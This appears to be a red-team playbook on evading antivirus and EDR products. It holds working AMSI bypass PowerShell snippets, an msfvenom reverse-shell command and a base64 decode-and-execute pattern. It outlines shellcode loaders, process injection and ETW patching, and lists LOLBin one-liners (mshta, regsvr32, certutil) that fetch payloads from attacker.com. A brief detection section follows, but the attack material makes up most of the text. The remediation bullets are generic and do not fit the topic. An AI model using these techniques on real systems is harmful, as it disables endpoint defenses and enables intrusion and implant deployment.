AV/EDR Evasion Techniques

When to Use

• When AV/EDR blocks your payloads during red team operations
• When you need to execute tools on endpoints with active security monitoring
• When testing an organization's endpoint detection capabilities
• When developing custom loaders for C2 implants

⚠️ WARNING: Only use on authorized engagements. EDR evasion without authorization is illegal.

Prerequisites

• Active engagement with a defended target environment (EDR/AV present)
• Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
• Payload development framework (msfvenom, Cobalt Strike, custom tooling)
• Test environment matching the target OS/EDR for pre-engagement validation

Workflow

Phase 1: Target EDR Identification

# Identify installed security products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select displayName
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName

# Process-based detection
tasklist | findstr -i "MsMpEng CrowdStrike CSFalcon SentinelOne cylance cbdefense xagt"

# Modern EDR enumeration:
# CrowdStrike Falcon → CSFalconService, CSFalconContainer
# SentinelOne → SentinelAgent, SentinelStaticEngine
# Microsoft Defender for Endpoint → MsSense
# Carbon Black → CbDefense, RepMgr
# Cortex XDR → CryptSvc associated with Palo Alto
# Elastic EDR → elastic-agent, elastic-endpoint

# Check if Windows Defender is enabled
Get-MpComputerStatus | Select AntivirusEnabled, RealTimeProtectionEnabled

Phase 2: AMSI Bypass (PowerShell Context)

# AMSI (Antimalware Scan Interface) scans PowerShell, VBA, JScript, etc.

# Method 1: Memory patching (patch AmsiScanBuffer)
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Method 2: Context corruption
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,[IntPtr]$mem)

# Method 3: String obfuscation of bypass
# Encode and decode at runtime to avoid static detection
$e = [System.Convert]::FromBase64String("BASE64_ENCODED_BYPASS")
$decoded = [System.Text.Encoding]::UTF8.GetString($e)
Invoke-Expression $decoded

# Method 4: Reflection-based (current at time of writing)
# These change frequently — always test before engagement

# Verify AMSI is bypassed:
# Try: Invoke-Mimikatz (should not trigger AMSI if bypassed)

Phase 3: Shellcode Encryption & Custom Loaders

// Concept: AES-encrypt shellcode, decrypt at runtime, inject into memory
// This avoids static pattern matching by AV

// Step 1: Generate raw shellcode from C2
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f raw > shell.bin
// Or export from Cobalt Strike as raw shellcode

// Step 2: Encrypt shellcode with AES-256
// python3 encrypt_shellcode.py shell.bin > encrypted.bin

// Step 3: Custom C# loader (conceptual structure):
// - Embed encrypted shellcode as resource
// - AES decrypt at runtime
// - Allocate executable memory (VirtualAlloc)
// - Copy decrypted shellcode to memory
// - Execute via CreateThread or callback

// Key evasion techniques in loader:
// - Sandbox detection (sleep, user interaction checks)
// - API call unhooking (direct syscalls)
// - Process injection instead of self-execution
// - Signed binary sideloading

Phase 4: Process Injection Techniques

// Common injection methods (from stealthiest to noisiest):

// 1. Early Bird APC Injection (very stealthy)
//    Create suspended process → Queue APC → Resume
//    Executes before EDR hooks are set up

// 2. Module Stomping / DLL Hollowing
//    Load legitimate DLL → Overwrite .text section with shellcode
//    Appears as legitimate module in memory

// 3. Thread Hijacking
//    Suspend existing thread → Modify context → Resume
//    No new thread creation (avoids CreateRemoteThread detection)

// 4. Process Hollowing
//    Create suspended process → Unmap → Map shellcode → Resume
//    Classic but well-detected by modern EDR

// 5. DLL Injection (CreateRemoteThread)
//    Load malicious DLL into target process
//    Most detected, use only as last resort

// Choose injection target wisely:
// GOOD: svchost.exe, RuntimeBroker.exe, explorer.exe (blend in)
// BAD: notepad.exe making network connections (suspicious)

Phase 5: ETW Patching (Disable Telemetry)

# ETW (Event Tracing for Windows) feeds data to EDR
# Patching ETW stops telemetry at the source

# Concept: Patch EtwEventWrite in ntdll.dll to return immediately
# This prevents .NET CLR events, process creation events, etc.
# from being sent to EDR

# Note: Implementation details intentionally abbreviated
# Full implementation requires understanding of:
# - ntdll.dll memory layout
# - x64 function patching
# - Thread safety considerations

# Alternative: Use direct syscalls to avoid ntdll hooks entirely
# Tools: SyscallWhispers, HellsGate, Syswhispers2/3

Phase 6: Living off the Land (LOLBins)

# Execute payloads using legitimate Windows binaries
# These bypass application whitelisting and raise fewer alerts

# Execution:
# mshta — Execute HTA files
mshta http://attacker.com/payload.hta
mshta "javascript:a=GetObject('script:http://attacker.com/payload.sct')"

# rundll32 — Execute DLL functions
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();

# regsvr32 — Execute scriptlet files
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# certutil — Download files
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe

# msbuild — Execute inline C# code from XML
msbuild.exe malicious.csproj

# installutil — Load .NET assembly
InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll

# Reference: https://lolbas-project.github.io/

🔵 Blue Team Detection

• Behavioral detection: Focus on behaviors (process injection, AMSI patching) not signatures
• Memory scanning: Scan process memory for known implant patterns
• ETW monitoring: Monitor for ETW patching attempts
• AMSI logging: Alert on AMSI bypass indicators
• Syscall monitoring: Detect direct syscalls bypassing ntdll hooks
• LOLBin monitoring: Alert on suspicious use of legitimate binaries

Key Concepts

Concept	Description
AMSI	Windows' Antimalware Scan Interface for script-based attacks
ETW	Event Tracing for Windows — telemetry pipeline EDR relies on
Process injection	Executing code in another process's memory space
Syscalls	Calling kernel functions directly, bypassing user-mode hooks
LOLBins	Legitimate binaries abused for malicious purposes
Shellcode loader	Custom program that decrypts and executes shellcode in memory
Module stomping	Overwriting a legitimate DLL's code section with shellcode

Output Format

AV/EDR Evasion Assessment Report
==================================
Target EDR: CrowdStrike Falcon (v6.x)
Evasion Achieved: YES (full bypass)

Techniques Used:
1. AMSI patched successfully (PowerShell execution unblocked)
2. ETW patched (telemetry disabled)
3. Custom AES-encrypted shellcode loader → Beacon deployed
4. Process injection via Early Bird APC into svchost.exe
5. C2 communication via HTTPS mimicking Microsoft Teams traffic

Detection Gaps:
- No alert generated for AMSI bypass
- Process injection not detected (Early Bird technique)
- Custom loader passed static and behavioral analysis
- Network traffic blended with legitimate Teams traffic

Recommendations:
1. Enable kernel-level ETW protection
2. Implement AMSI provider hardening
3. Deploy memory scanning for known implant patterns
4. Monitor for suspicious parent-child process relationships

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• LOLBAS Project: Living Off The Land Binaries
• MITRE ATT&CK: T1027 — Obfuscated Files
• Elastic: Evasion Techniques
• Red Team Notes: AV Evasion